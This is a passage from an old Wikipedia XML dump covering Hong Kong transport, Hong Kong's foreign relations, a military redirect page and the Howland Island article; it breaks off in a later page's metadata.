The [[Hong Kong Tramways]] is the [[tram]] (streetcar) system run exclusively with [[double decker]]s. The electric tram system was proposed in [[1881]]; however nobody was willing to invest in a system at the time. In [[August]] [[1901]], the Second Tramway Bill was introduced and passed into law as the [[1902 Tramway Ordinance]].  Hong Kong Tramway Electric Company Limited, a [[United Kingdom|British]] company, was authorised to take the responsibilities in construction and daily operation. It was soon taken over by another company, Electric Tranction Company of Hong Kong Limited and then the name was changed to Hong Kong Tramways Company Limited in [[1910]].

The rail system is 13 kilometres (8 miles) long, with a total track length of 30 km (18.6 miles), and it runs together with other vehicles on the street. Its operation relies on the 550V [[direct current]] (d.c.) from the [[overhead cable]]s, on 3'6&quot; gauge (1067 mm) [[rail gauge|tracks]]. The trams provide service to only part of [[Hong Kong Island]]: they run on a double track along the northern coast of [[Hong Kong Island]] from [[Kennedy Town]] to [[Shau Kei Wan]], with a single [[Clockwise and counterclockwise|clockwise]]-running track of about 3 kilometres (1.9 miles) around [[Happy Valley, Hong Kong|Happy Valley]] Racecourse. 

The [[Peak Tram]] is a [[funicular|funicular railway]] in Hong Kong, which carries both tourists and residents to the upper levels of Hong Kong Island. It provides the most direct route and offers good views over the harbour and the skyscrapers of Hong Kong.

==Buses ==
[[image:KMB_3ASV44_68X.JPG|thumb|right|250px|KMB Volvo Super Olympian 12M with Walter Alexander ALX500 Body. One of the newer KMB buses.]]

Bus services have [[History of Bus transport in Hong Kong|a long history]] in Hong Kong. In [[2005]], five companies operate franchised public [[bus]] services. There are also a variety of non-franchised public buses services, including feeder bus services to railway stations operated by the railway companies, and residents' services for residential estates (particularly those in the New Territories).

The five franchised bus companies are:
* [[Kowloon Motor Bus|Kowloon Motor Bus Company (1933) Limited]];
* [[Citybus (Hong Kong)|Citybus Limited]];
* [[Long Win Bus|Long Win Bus Company Limited]];
* [[New World First Bus|New World First Bus Services Limited]]; and
* [[New Lantao Bus|New Lantao Bus Company (1973) Limited]].

Founded in 1933, the Kowloon Motor Bus Company (1933) Limited (KMB) is one of the largest privately-owned public [[bus]] operators in the world. KMB's fleet consist of about 4,300 buses on 420 routes and a staff of over 13,000. In 1979, [[Citybus (Hong Kong)|Citybus]] began its operation in Hong Kong with one double-decker, providing shuttle service for the Hong Kong dockyard. It later expanded into operating a residential bus route between City One, [[Shatin]] and [[Kowloon Tong]] MTR station. New World First Bus Services Limited was established in [[1998]], taking over [[China Motor Bus]]'s franchise to provide bus services on [[Hong Kong Island]] together with Citybus.

== Public light buses ==
[[Image:Hkgmb-lm8613.jpg|thumb|right|320px|Green minibus on [[Shun Tin]], [[Kwun Tong]], [[Kowloon Peninsula]], [[Hong Kong]], heading to [[Ping Shek Estate]],[[Choi Hung (MTR)]].]]
:''Main article: [[Public light bus]]''

Public light buses (小巴) (widely referred to as [[minibus]]es, or sometimes ''maxicabs'', a ''de facto'' [[jitney]]) run the length and breadth of Hong Kong, through areas which the standard bus lines cannot or do not reach as frequent, quick or direct. Minibuses carry a maximum of 16 passengers; no standees are allowed. Minibuses typically offer a faster and more efficient transportation solution due to their smaller capacity, higher frequencies and direct routing, although they are generally slightly more expensive than franchised buses. The popularity of public light bus services in Hong Kong can be accounted to the high population density which  supports the extensive network of minibus services. There are two types of public light buses, green minibuses that have route numbers and stop at designated stops , and red minibuses that do not have regular routes and are unnumbered with no fixed stops.  Since the red minibus drivers rely on fares for a living, they are noted for their speeding and large speedometers with alarms have been required by law  on buses in the hope that the passengers can monitor the drivers' driving attributes.

== Taxis ==
[[Image:Time_square_HK_taxi_rank_in_rainyday.JPG|thumb|250px|A [[taxi stand]] on Russell Street outside [[Times Square (Hong Kong)|Times Square]] on a rainy day.]]

:''Main article: [[Taxis of Hong Kong]]''

Different coloured taxis serve different areas.  Red taxis serve all areas, except most of [[Lantau Island]].  Green taxis only serve the [[New Territories]], including specified routes and destinations in Sha Tin, Tsuen Wan, Tsueng Kwan O and northern Lantau , and Blue taxis serve [[Lantau island]] only.  All taxis are authorised to serve the [[Hong Kong International Airport|airport]] and the [[Hong Kong Disneyland|Disneyland Resort]].

Taxi fare is charged according to the taximeter; however, additional charges on the faretable may apply, such as road tolls and luggage fees.  Red urban taxis are the most expensive, while blue Lantau taxis are the cheapest. The standard of services among different kinds of taxis are mostly the same. 

[[As of 2005]], there are 18,138 taxis in Hong Kong, 15,250 of which are urban taxis, 2,838 New Territories taxis, and 50 Lantau taxis. Everyday they serve 1.1 million, 207,900, and 1,400 passengers respectively. Taxis carry an average of one million passengers each day, occupying about 12% of the daily patronage carried by all modes of public transport in Hong Kong.

Most of the taxis in Hong Kong run on [[liquified petroleum gas]] (LPG) for protection of the environment. In August 2000 an one-off cash grant was paid to  taxi owners who replaced his diesel taxi with an LPG one. By the end of 2003, over 99.8% of the taxi fleet in Hong Kong ran on LPG. All newly purchased taxis runs on  LPG since August 2001.  

The reason for having three types of taxis is to ensure service availability in less populated regions, as running in the urban centre is considered to be  more profitable.

For places served by more than one type of taxis, there are separate queues at the [[taxi stand]]s.

== Private cars ==
There are 517,000 cars licensed in Hong Kong, 64% of which are private cars. In terms of private car ownership, the number of cars per capita is half that of [[Singapore]] and one-third that of [[Republic of China|Taiwan]].

Most cars are [[rules of the road|right hand drive]] models from Japanese or European manufacturers. Some Hong Kong registered vehicles carry secondary [[mainland China|mainland Chinese]] registration plates and can be driven across the border to mainland China, likewise, some of the left hand drive cars seen in Hong Kong are primarily registered in mainland China and carry supplementary Hong Kong registration plates. 

Hong Kong does not allow left hand drive vehicles to be primarily registered in Hong Kong.

The biggest problem facing drivers is the ability to find a parking spot. Additionally, traffic at times can be very heavy. To curb private vehicle ownership in Hong Kong, there are heavy first registration taxes for private cars (from 35%-100% of the value of the vehicle) and [[petrol]] in Hong Kong averages around US$1.55 per [[litre]], of which around half the cost is taxes. To obtain a driver's licence in Hong Kong is a costly and time consuming affair. There are waiting lists to do the driving tests and a full (private car) driver's licence valid for 10 years costs around US$115. Hong Kong recognizes most foreign drivers licenses.  For long term expatriates residing in Hong Kong it issues a Hong Kong drivers license with presentation of a valid license from their home country.

== Ferries ==
[[image:hkstarferry.JPG|thumb|250px|''Meridian Star'' of Hong Kong Star Ferry.]]
[[image:Ferry from Discovery Bay Hong Kong.JPG|thumb|250px|A little girl peering out of a ferry from [[Discovery Bay]]]]

===Internal routes===
Most ferry services are provided by licensed ferry operators. [[As of 2003|As of September 2003]], there were 27 regular licensed passenger ferry services operated by 11 licensees, serving [[Islands of Hong Kong|outlying islands]], new towns and inner-[[Victoria Harbour]]. Two  of the routes operated by the [[Star Ferry]] are franchised. Additionally, 78 &quot;[[kai-to]]&quot; ferries are licensed to serve remote coastal settlements.

The following companies operate ferry services in Hong Kong:

'''[[Star Ferry]]''':
* [[Central and Western district|Central]] to [[Tsim Sha Tsui]]
* [[Wanchai]] to [[Tsim Sha Tsui]]
* [[Central and Western district|Central]] to [[Hung Hom]]
* [[Wanchai]] to [[Hung Hom]]
* Harbour Tour (Circular between [[Tsim Sha Tsui]], [[Central and Western district|Central]], [[Wan Chai]], and [[Hung Hom]])

'''[[New World First Ferry]]''':
* [[Central and Western district|Central]] to [[Cheung Chau]], [[Mui Wo]], and [[Peng Chau]]
* [[Tsim Sha Tsui]], [[Mui Wo]], [[Cheung Chau]]  (Weekends Only)
* [[Peng Chau]], [[Mui Wo]], [[Chi Ma Wan]], and [[Cheung Chau]]
* [[North Point]] to [[Hung Hom]] and [[Kowloon City]]
* [[Tuen Mun]] to [[Tung Chung]]

'''[[Hong Kong &amp; Kowloon Ferry]]''':
* [[Lamma Island]] to [[Central and Western district|Central]] and [[Aberdeen, Hong Kong|Aberdeen]]

'''[[HKR International Limited]]''':
* [[Discovery Bay]] to [[Central and Western district|Central]]

'''[[Park Island Transport Company Ltd.]]''':
* [[Ma Wan]] to [[Central and Western district|Central]]
* [[Ma Wan]] to [[Tsuen Wan]]

===External routes===
Fastferry [[hydrofoil]] and [[catamaran]] service is available at all times of the week between Hong Kong and [[Macau]].

[[TurboJet (company)|TurboJet]] provides 24-hour services, connecting Central and Macau.  Its highest frequency is 15 minutes. It also provides the following regular services:
* [[Hong Kong International Airport]] to [[Baoan International Airport|Shenzhen Airport]] / Macau / [[Guangzhou]] (East River Guangzhou Ferry Terminal)
* Tsim Sha Tsui to Guangzhou
* Macau to Shenzhen Airport
* Tsim Sha Tsui to [[Macau]]

New World First Ferry ([[Macau]]) provides an 17-hour service daily between Tsim Sha Tsui and Macau, with the highest frequency of 30 minutes.

[[Chu Kong Passenger Transport]] (CKS) connects Hong Kong to cities in [[Guangdong]] province, [[China]], including [[Zhuhai]] ([[Jiuzhou]]), [[Shenzhen]] ([[Shekou]]), [[Zhongshan]], [[Lianhua Shan]] ([[Panyu]]), [[Jiangmen]], [[Gongyi]], [[Sanbu]], [[Gaoming]], [[Heshan]], [[Humen]], [[Nanhai]], [[Shunde]], [[Doumen]], [[Zhaoqing]].

==Ports and harbours==
[[Image:Victoria_harbour_from_np.jpg|thumb|250px||Victoria Harbour]]
:''Main articles: [[Port of Hong Kong]] and [[Victoria Harbour]]''

The port of Hong Kong has always been a key factor in the development and prosperity of the special administrative region, which is strategically located on the Far East trade routes and is in the geographical centre of the  fast-developing Asia-Pacific Basin. The sheltered harbour provides good access and a safe haven for vessels calling at the port from around the world .In terms of tonnage of shipping using its facilities, cargo handled and the number of passengers carried, Hong Kong is undoubtedly one of the major ports of the world.

The [[Victoria Harbour]] is one of the busiest ports in the world. An average of 220,000 ships visit the harbour each year, including both oceanliners and river vessels, for both goods and passengers. The [[Port of Hong Kong|container port in Hong Kong]] is one of the busiest in the world. The [[Kwai Chung]] Terminal operates 24 hours a day. Together with other facilities in Victoria Harbour, they handled more than 20 million [[TEU]]s in 2003. Some 400 container liners serve Hong Kong weekly, connecting to over 500 destinations around the world.

==Airports==
[[Image:Hong Kong International Airport.jpg|thumb|250px|Inside [[Hong Kong International Airport]]]]
:''Main article: [[Hong Kong International Airport]]''
Hong Kong has one active international [[airport]] since the famous former [[Kai Tak International Airport|Hong Kong International Airport]] at Kai Tak was retired in favour of the recently constructed [[Hong Kong International Airport]], also known as Chek Lap Kok International Airport. The airport now serves as a transport hub for [[Southeast Asia]], and as the hub for [[Cathay Pacific Airways]], [[Dragonair (airline)|Dragonair]] and [[Air Hong Kong]].  Ferry services link the airport with several [[pier]]s in [[Pearl River Delta]], where immigrations and customs  are exempted. 

The airport is the third busiest airport for passenger traffic in [[Asia]], and the world's second busiest airport for cargo traffic in [[2003]]. In terms of international traffic, the airport is the third busiest for passenger traffic and the busiest for cargo since its operation in [[1998]]. It is popular with travellers &amp;mdash; from [[2001]] to [[2005]] Hong Kong International Airport has been voted the world's best airport in an annual survey of several million passengers worldwide by [[Skytrax]]. In [[2000]], the airport also won an award as the 'Asia/Pacific's leading airport' at the 7th [[World Travel Awards]].

According to the [[Guinness Book of World Records|Guinness World Records]], the [[terminal|passenger terminal]] of the HKIA is the worlds’ largest airport terminal building, with a covered area of 550,000m&lt;sup&gt;2&lt;/sup&gt;.  The [[Airport Core Programme]] is the most expensive airport project.

[[Shek Kong Airfield]], located near [[Yuen Long]], is a military [[airfield]] for the [[People's Liberation Army]],which is of limited operating capabilities due to surrounding terrains. The only aircraft operating on the airfield are PLA's [[Z-9]] helicopters, which is the license-built version of the [[Eurocopter Dauphin]].

==Heliports==
Hong Kong has three [[heliports]].  One heliport is located in the [[Hong Kong-Macau Ferry Terminal, Hong Kong|Hong Kong-Macau Ferry Terminal]], by the [[Shun Tak Centre]], in [[Sheung Wan]], on [[Hong Kong Island]]. Another is located in Southwest Kowloon, near [[Kowloon (MTR)|Kowloon station]]. The other is located inside [[Hong Kong International Airport]].

[[East Asia Airlines]] operates regular [[helicopter]] service between the [[Macau Ferry Terminal]] in [[Macau]] and the Shun Tak Centre. There are around 16 flights daily. Flights take approximately 20 minutes in the eight-seater aircraft.

There are also a number of [[helipad|helipads]] across the territory, including the roof of the [[The Peninsula Hong Kong|Peninsula Hotel]], which is the only rooftop helipad in the territory, excluding the rooftop heliport of Shun Tak Centre and those in hospitals, and [[Cheung Chau|Cheung Chau Island]], between [[Beaches of Hong Kong|Tung Wan Beach]] and [[Kwun Yam Beach]].

== Bridges and tunnels ==
[[Image:P1010280.JPG|thumb|250px|Toll plaza of Cross Harbour Tunnel at [[Hung Hom]], [[Kowloon]]]]
[[Image:Bridge1.jpg|thumb|250px|[[Tsing Ma Bridge]] at night]]
:''Main article: [[Tunnels and bridges in Hong Kong]]''

There are 15 vehicular [[tunnel|tunnels]] (3 under construction) in Hong Kong. They include three cross-harbour tunnels and nine road tunnels. 

The cross-harbour tunnels, connecting [[Hong Kong Island]] and [[Kowloon Peninsula]] across [[Victoria Harbour]], are:

* [[Cross Harbour Tunnel]] ([[1972]])
* [[Eastern Harbour Crossing]] (also Eastern Harbour Tunnel) ([[1989]])
* [[Western Harbour Crossing]] ([[1997]])

The other road tunnels are:

* [[Aberdeen Tunnel]] ([[1982]],[[1983]])
* [[Airport Tunnel]] ([[1982]]) (Toll-free)
* [[Cheung Tsing Tunnel]] ([[1997]]) (Toll-free)
* [[Discovery Bay Tunnel Link]] ([[2000]])
* [[Lion Rock Tunnel]] ([[1967]],[[1978]])
* [[Shing Mun Tunnels]] ([[1990]])
* [[Tai Lam Tunnel]] ([[1998]])
* [[Tate's Cairn Tunnel]] ([[1991]])
* [[Tseung Kwan O Tunnel]] ([[1990]])
* [[Nam Wan Tunnel]] (under construction)
* [[Eagle's Nest Tunnel]] (under construction)
* [[Sha Tin Heights Tunnel]] (under construction)

Major [[Bridge|bridges]] include:
* [[Tsing Yi Bridge]], early cross-channel bridge
* [[Tsing Ma Bridge]], part of the [[Lantau Link]] (Toll-free towards Lantau, double fare towards Tsing Yi)
* [[Kap Shui Mun Bridge]], part of the [[Lantau Link]]
* [[Ting Kau Bridge]] (Toll-free)
* [[Stonecutters Bridge]] (under construction)
* [[Hong Kong-Shenzhen Western Corridor]] (under construction)
* [[Hong Kong-Zhuhai-Macau Bridge]] (Proposed)

==Gondola lifts==
Gondola lifts in Hong Kong:
* [[Ocean Park, Hong Kong|Ocean Park]], [[Hong Kong Island]] - Cable car from [[Nam Long Shan]] Headland to [[Wong Chuk Hang]] within the Park
* [[Lantau Island]] - [[Ngong Ping 360]], a 5.7 km cableway from [[Tung Chung (MTR)|Tung Chung]] [[MTR]] station to Ngong Ping Terminal near [[Po Lin Monastery]] (under construction and expected to complete in early [[2006]])

==See also==
[[Image:Old Bailey Street in Hong Kong.JPG|thumb|250px|Old Bailey Street in [[Central, Hong Kong|Central]]]]

* [[Victoria Harbour crossings]]
* [[Hong Kong Link]]
* [[Hong Kong bus route numbering]]
* [[List of streets and roads in Hong Kong]]
* [[List of airports in Hong Kong|List of airports and heliports in Hong Kong]]
* [[List of buildings, sites and areas in Hong Kong]]

==External links==
*[http://www.hkpri.org.hk/bulletin/5/l-h-wang.html Wang L H, &quot;In Search of a Sustainable Transport Development Strategy for Hong Kong&quot;]
*[http://www.amspt.com AMS (public light minibus service provider) &amp;mdash; Chinese only]
*[http://www.heliservices.com.hk/location.html Heliservice (Hong Kong) Limited]
*[http://www.hyd.gov.hk Hong Kong Highways Department]
*[http://www.hkpt.com Hong Kong public transport &amp;mdash; unofficial website]
*[http://www.info.gov.hk/td/trafficinfo Hong Kong Transport Department road traffic information service]
*[http://www.info.gov.hk/td/eng/td29_flash.html Hong Kong Transport Department]
*[http://www.yp.com.hk/yptourist_e03/en/tips/tips_transportation.aspx Hong Kong Yellow Pages &amp;mdash; public transport overview]
*[http://www.kcrc.com/eng/services/routemap/index.asp KCRC heavy rail and light rail map with stations, and MTR lines (in grey, not in legend) without numbers or stations]
*[http://www.mtr.com.hk/jplanner/images/maps/mtr_map2.jpg MTR website &amp;mdash; MTR map with stations]
*[http://www.info.gov.hk/censtatd/eng/statliteracy/etimes/et030929.htm Vehicular tunnels in Hong Kong]

[[Category:Transport in Hong Kong|*]]

[[ru:Транспорт в Гонконге]]
[[zh:香港交通]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Hong Kong</title>
    <id>13412</id>
    <revision>
      <id>18819701</id>
      <timestamp>2005-07-14T15:41:45Z</timestamp>
      <contributor>
        <username>Jiang</username>
        <id>10049</id>
      </contributor>
      <comment>merging</comment>
      <text xml:space="preserve">#REDIRECT[[People's Liberation Army Hong Kong Garrison]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Hong Kong</title>
    <id>13413</id>
    <revision>
      <id>41197008</id>
      <timestamp>2006-02-25T18:44:49Z</timestamp>
      <contributor>
        <username>Instantnood</username>
        <id>148027</id>
      </contributor>
      <comment>no need to specify its internal, since it's mentioned Hong Kong is part of the PRC and is a special administrative region</comment>
      <text xml:space="preserve">{{Politics of Hong Kong}}
[[Hong Kong]] is a [[special administrative region]] (SAR) of the [[People's Republic of China]] (PRC). Its diplomatic relations and defence are the responsibility of the [[Central People's Government]] of the PRC. Nonetheless, Hong Kong has retained considerable [[autonomy]] in all aspects, including economic and commercial relations, customs control, except diplomatic relations and defence. Hong Kong continues to be an active, independent member of the [[World Trade Organization]] (WTO) and the [[Asia-Pacific Economic Cooperation]] (APEC) forum in the name of ''Hong Kong, China''.

==Overview==
Hong Kong was under [[colonial Hong Kong|British rule]] before 1997. Prior to the implementation of the ''Hong Kong Economic and Trade Office Act 1996'' enacted by the [[United Kingdom Parliament|British Parliament]], Hong Kong represented its interests abroad through the [[Hong Kong Economic and Trade Office]]s (HKETO) and via a special office in the British Embassies (or [[High Commissioner]]s), but the latter has ceased after the sovereignty of Hong Kong was [[transfer of the sovereignty of Hong Kong|transferred to the PRC]] and  became a special administrative region (SAR) of the PRC in 1997.  At present, the ''Hong Kong Economic and Trade Offices'' under the [[Hong Kong Government|Government]] of the Hong Kong Special Administrative Region in countries that are the major trading partner of Hong Kong, including [[Japan]], [[Canada]], [[Australia]], [[Singapore]], the [[United Kingdom]], [[Belgium]], [[Switzerland]], the [[United States]] and the [[European Union]]. These offices serve as the official representative of the Government of the Hong Kong SAR in these countries. Its major functions include facilitating trade negotiations and handling trade related matters, inter-government relations with foreign governments; the promoting of investment in Hong Kong; and liaising with the media and business community.  The Hong Kong Government has also set up the [[Hong Kong Tourism Board]] with offices in other countries and regions to promote tourism. Other countries, likewise, have set up consulates-general or consulates in Hong Kong that are subordinate to the [[embassy]] in [[Beijing]], the capital of the PRC. 

The Hong Kong Government has also an liaison office in [[Beijing]], and an HKETO at [[Guangzhou]], [[Guangdong]]. A few more HKETO will be set up in cities mainland China in future. The Central People's Government of the PRC also maintains a liaison office in Hong Kong. The Ministry of Foreign Affairs has a representative office in Hong Kong.

Hong Kong makes strenuous law enforcement efforts, but faces serious challenges in controlling transit of [[heroin]] and [[methamphetamine]] to regional and world markets; modern banking system provides a conduit for [[money laundering]]; rising indigenous use of synthetic drugs, especially among young people.

Hong Kong has its own immigration policy and administration.  PRC citizens who are [[permanent resident]]s of Hong Kong hold a different type of passports, called the [[Hong Kong Special Administrative Region Passport]], which is different from that for PRC citizens in [[mainland China]]. Residents of Hong Kong and mainland China need a [[passport]]-like document (the [[Home Return Permit]] for Hong Kong residents and the [[exit endorsement]] for mainland residents) to cross the Hong Kong-mainland China [[border]]. Visitors from other countries and regions with no waiver programme are required to apply for visas directly through the Immigration Department of Hong Kong.

==International organization participation==
[[APEC]], [[AsDB]], [[Bank for International Settlements|BIS]], [[Customs Cooperation Council|CCC]], [[Economic and Social Commission for Asia and the Pacific|ESCAP]] (associate), [[ICFTU]], [[International Maritime Organization]] (associate), [[Interpol]] (subbureau), [[IOC]], [[International Organization for Standardization|ISO]] (correspondent), [[WCL]], [[WMO]], [[WTrO]]

==See also==
* [[Foreign relations of the People's Republic of China]]

==Reference==
* [[CIA World Fact Book|CIA - The World Factbook]] 2003

==External links==
* [http://www.fmprc.gov.cn/eng Ministry of Foreign Affairs of PRC]
* [http://www.info.gov.hk/protocol Protocol Division of Hong Kong Government]
* [http://www.fmcoprc.gov.hk Office of the Commissioner of PRC's Ministry of Foreign Affairs in Hong Kong]
* [http://www.fmcoprc.gov.mo/eng Office of the Commissioner of PRC's Ministry of Foreign Affairs in Macao]


[[Category:Foreign relations of Hong Kong| ]]

[[ru:Международные отношения Гонконга]]
[[zh:香港外交]]</text>
    </revision>
  </page>
  <page>
    <title>Howland Island</title>
    <id>13414</id>
    <revision>
      <id>41918445</id>
      <timestamp>2006-03-02T16:43:40Z</timestamp>
      <contributor>
        <username>Lomn</username>
        <id>330864</id>
      </contributor>
      <minor />
      <comment>/* Earhart Light */ wikilink [[day beacon]]</comment>
      <text xml:space="preserve">[[Image:howland_island_nasa.jpg|thumb|300px|Howland Island seen from space.]]
'''Howland Island''' is an uninhabited [[atoll]] located just north of the [[equator]] in the central [[Pacific Ocean]] at {{coor dm|0|48|N|176|38|W|}}, about 3,100 km (1,675 [[nautical mile]]s) southwest of [[Honolulu]]. It is about one-half of the way from [[Hawaii]] to [[Australia]] and is an [[unincorporated territory|unincorporated]], [[unorganized territory]] of the [[United States]], part of the [[United States Minor Outlying Islands]].

'''Howland Island National Wildlife Refuge''' consists of the 455 acre (1.84 km&amp;sup2;) island and the surrounding 32,074 acres (129.80 km&amp;sup2;)  of submerged land. The island is now a [[National Wildlife Refuge]] managed by the [[United States Fish and Wildlife Service|U.S. Fish and Wildlife Service]] as an [[insular area]] under the [[United States Department of the Interior|U.S. Department of the Interior]]. 

The atoll has no economic activity and is perhaps best known as the island [[Amelia Earhart]] never reached. Defense is the responsibility of the [[United States]] and the island is visited every two years by the U.S. Fish and Wildlife Service.

== History ==
Sparse remnants of trails and other artifacts indicate a sporadic early [[Polynesian culture|Polynesian]] presence but Howland Island was uninhabited when the United States took possession of it in [[1857]] through claims under the [[Guano Islands Act]] of [[1856]]. Its [[guano]] deposits were mined and thoroughly depleted by American and British companies during the second half of the [[19th century]].

In [[1935]] a brief attempt at colonization was attempted, part of a larger project administered by the [[United States Department of Commerce|Department of Commerce]] to establish a permanent U.S. presence on the equatorial [[Line Islands]]. It began with a rotating population of four alumni and students from Kamehameha School for Boys, a military school in [[Honolulu, Hawaii]]. Although the recruits had signed on as part of a scientific expedition and expected to spend a three month assignment collecting botanical and biological samples, once at sea they were told, &quot;Your names will go down in history&quot; and that the islands would be developed into &quot;famous air bases in a route that will connect Australia with California.&quot; The settlement '''Itascatown''', near the beach on the island's western side, was a line of no more than half a dozen small wood-frame structures and tents named after the U.S. Coast Guard vessel that brought them and made regular cruises between the islands during that era. The fledgling colonists were given large stocks of canned food, water, and other supplies including a gasoline powered refrigerator, radio equipment, complete medical kits and (characteristic for that time) vast quantities of cigarettes. They varied their diet by fishing. Most of their work involved making hourly weather observations and gradually developing a rudimentary infrastructure on the island, including the clearing of a landing area for airplanes. Similar projects were started on nearby [[Baker Island]], [[Jarvis Island]], and two other islands.

In keeping with its potential aviation role Howland Island was a scheduled refueling stop for American pilot [[Amelia Earhart]] and navigator [[Fred Noonan]] on their [[Amelia Earhart#Flights|round-the-world flight]] in [[1937]] and [[WPA]] funds were used to construct three airstrips on the atoll that year. They took off from [[Lae]], [[New Guinea]] and radio transmissions from Earhart were picked up on the island when their aircraft reached its vicinity but they were never seen again.

[[Image:Bhjhowlnd_remnants180.gif|left|thumb|250px|Building ruins near the site of Itascatown on Howland Island]]
A [[Empire of Japan|Japan]]ese air attack on [[December 8]], [[1941]] by fourteen twin-engined bombers killed two of the Kamehameha School colonists (Richard &quot;Dicky&quot; Kanani Whaley and Joseph Kealoha Keli'hananui) at the beginning of U.S. involvement in [[World War II]]. Two days later, a Japanese submarine shelled what was left of the government colony's few buildings into ruins. The two survivors were evacuated by a US Navy destroyer on [[January 31]], [[1942]]. The island was occupied by a [[battalion]] of [[United States]] [[Marines]] in late 1943 and known as Howland Naval Air Station during this brief period but was abandoned after the war (the colonization projects on the other four islands were also disrupted by the war and ended at the same time).

By the 1970s Howland Island was over-run by a population of feral [[cat]]s, descendants of individuals brought by earlier human colonists. The cats were gradually removed during the 1980s and the area was designated a bird and wildlife refuge. However, abandoned World War II military debris continued to be a concern. [[Amateur radio]] enthusiasts made several authorised visits to the island during the 1990s and early 2000s. In 2006, trespassing by commercial fishing boats and their helicopters was cited as a serious problem.

Public entry to the island is by special-use permit from the U.S. Fish and Wildlife Service only and is generally restricted to scientists and educators. Representatives from the agency visit the island on average once every two years, often coordinating transportation with amateur radio operators or the [[United States Coast Guard|U.S. Coast Guard]] to defray the high expense of logistical support required to visit this remote atoll.

''See also'': [[History of the Pacific Islands]]

[[Image:HowlandIsland.jpeg|thumb|right|Howland Island map.]]

== Geography ==
Located in the North Pacific Ocean at ({{coor dm|0|48|N|176|38|W|}}), the island is tiny at just 1.84 km² (455 acres) and 6.4 km of coastline. The island has an elongated shape on a north-south axis. The climate is equatorial, with little rainfall and a burning sun. Temperatures are moderated somewhat by a constant wind from the east. The terrain is low-lying and sandy: a coral island surrounded by a narrow fringing [[reef]] with a slightly raised central area. The highest point is about 6 meters above [[sea level]]. 

There are no natural [[fresh water]] resources. The landscape features scattered grasses along with prostrate vines and low-growing shrubs. A 1942 eyewitness description mentioned &quot;a low grove of dead and decaying kou trees&quot; on a very shallow hill at the island's center but 58 years later ([[2000]]) a visitor accompanying a scientific expedition reported seeing &quot;a flat bulldozed plain of coral sand, without a single tree&quot; and some traces of building ruins. Howland is primarily a nesting, roosting, and foraging habitat for seabirds, shorebirds, and marine wildlife. The U.S. claims an [[exclusive economic zone]] of 200 nautical miles (370 km) and a [[Territorial waters|territorial sea]] of 12 nautical miles (22 km). 

The island's [[time zone]] is [[Coordinated Universal Time|UTC]] -12

== Transportation ==
There are no harbors or docks. The reefs may pose a hazard. There is one boat landing area along the middle of the sandy beach on the west coast.

===Kamakaiwi Field===
Ground for a rudimentary aircraft landing area was cleared during the mid-1930s in anticipation that the island might eventually be used as a stop-over for a commercial trans-Pacific air route and to further U.S. territorial claims in the region. In 1937 three graded, unpaved runways were constructed by the Bureau of Air Commerce to accommodate Amelia Earhart's modern twin-engined [[Lockheed]] [[Lockheed L-10 Electra|L-10E Electra]] for a scheduled refueling stop on her flight around the world. The facility was named ''Kamakaiwi Field'' after James Kamakaiwi, a young Hawaiian who arrived with the first group of four colonists, was subsequently picked as leader and spent a total of over 3 years on Howland, far longer than the average recruit. It has also been referred to as ''WPA  Howland Airport'' (the [[WPA]] contributed about 20% of the $12,000 cost). The airport was never used, suffered repeated damage during World War II and later all but disappeared. Ironically, while the atoll was colonized in 1935 as a future aviation facility and is referenced in popular culture almost exclusively because of its association with the last flight of Earhart and Noonan, no airplane is known to have ever landed on Howland Island.

[[Image:HowlandIslandLightWW2damage.jpg|left|thumb|200px|Earhart Light, pictured here showing damage it sustained during WWII, was named for [[Amelia Earhart]] during the late 1930s.]]

===Earhart Light===
Earhart Light is a [[day beacon]] or navigational landmark shaped somewhat like a short [[lighthouse]] (with no illumination), painted with wide stripes and meant to be seen from several miles out to sea during daylight hours. It is located near the boat landing at the middle of the west coast by the former site of Itascatown. It was partially destroyed during early World War II in the Japanese attacks, but was later rebuilt. By 2000, the Earhart beacon was said to be crumbling and hadn't been painted in decades.

== Alternate history website ==
Howland and neighboring [[Baker Island|Baker]] and [[Jarvis Island|Jarvis]] Islands were the subject of an Internet-based [[Alternate history (fiction)|alternate history]] hoax developed by Stephen Abbott, a [http://www.sacomm.com/ political consultant] and apparently [http://home.comcast.net/~nhprman/AH.htm prolific author in this genre]. 

Abbott's fictional [http://users.metro2000.net/~stabbott/RHBJ.htm ''Official Government Website of the Republic of Howland Baker and Jarvis'' ], which was not functioning in February 2006, described (mostly without photography) a populated, thriving tourist destination on Howland and Baker Islands, including a [http://users.metro2000.net/~stabbott/hbFacts.htm faked CIA World Factbook entry], elaborate information on travel and tourism as well as imaginary air and sea travel information. Abbott gave this fiction its greatest depth with an alternate history and government, complete with a constitution and supplemented by simulated local news coverage.

During the early 2000s the [[website]]'s high ranking on various [[search engine]]s caused confusion among some [[Internet]] users who were unaware of the site's fictional nature. Although an early version of the website contained a diminutively linked, vaguely titled (''Too good to be true? Click here and find out'') [http://users.metro2000.net/~stabbott/RHBIexplained.html explanation and disclaimer], by September 2005 this link had been displayed much more prominently on the main page.

== External links ==
*[http://www.janeresture.com/howland/ Geography, history and nature on Howland Island]
*[http://www.uscg.mil/hq/g-cp/history/WEBLIGHTHOUSES/LHPACIFIC.html Howland Island day beacon]
* [http://kapalama.ksbe.edu/archives/historical/huipanalaau/end.php Eyewitness account of the Japanese raids on Howland Island (includes a grainy photo of Itascatown)]
*[http://pacificislands.fws.gov/wnwr/pbakernwr.html Howland Island National Wildlife Refuge]
*[http://www.pbs.org/odyssey/odyssey/20001204_log_transcript.html 'Voyage of the Odyssey'] - pictures and travelogue
*[http://www.infoplease.com/spot/desertisland9.html Howland Island at Infoplease]

{{Pacific_Islands}}
{{United States}}

[[Category:Insular areas of the United States]]
[[Category:Islands]]
[[Category:National Wildlife Refuges of the United States]]
[[Category:Oceanian countries]]

[[ca:Illa Howland]]
[[de:Howlandinsel]]
[[et:Howland]]
[[es:Isla Howland]]
[[he:האולנד (אי)]]
[[id:Pulau Howland]]
[[ja:ハウランド島]]
[[ko:하울랜드 섬]]
[[nl:Howlandeiland]]
[[pt:Ilha Howland]]
[[fi:Howland Island]]
[[tr:Howland Adası]]
[[zh:豪兰岛]]
[[zh-min-nan:Howland-tó]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Howland Island</title>
    <id>13416</id>
    <revision>
      <id>15911029</id>
      <timestamp>2004-05-12T18:36:23Z</timestamp>
      <contributor>
        <username>Bkonrad</username>
        <id>44062</id>
      </contributor>
      <minor />
      <comment>rd --&gt; Howland Island</comment>
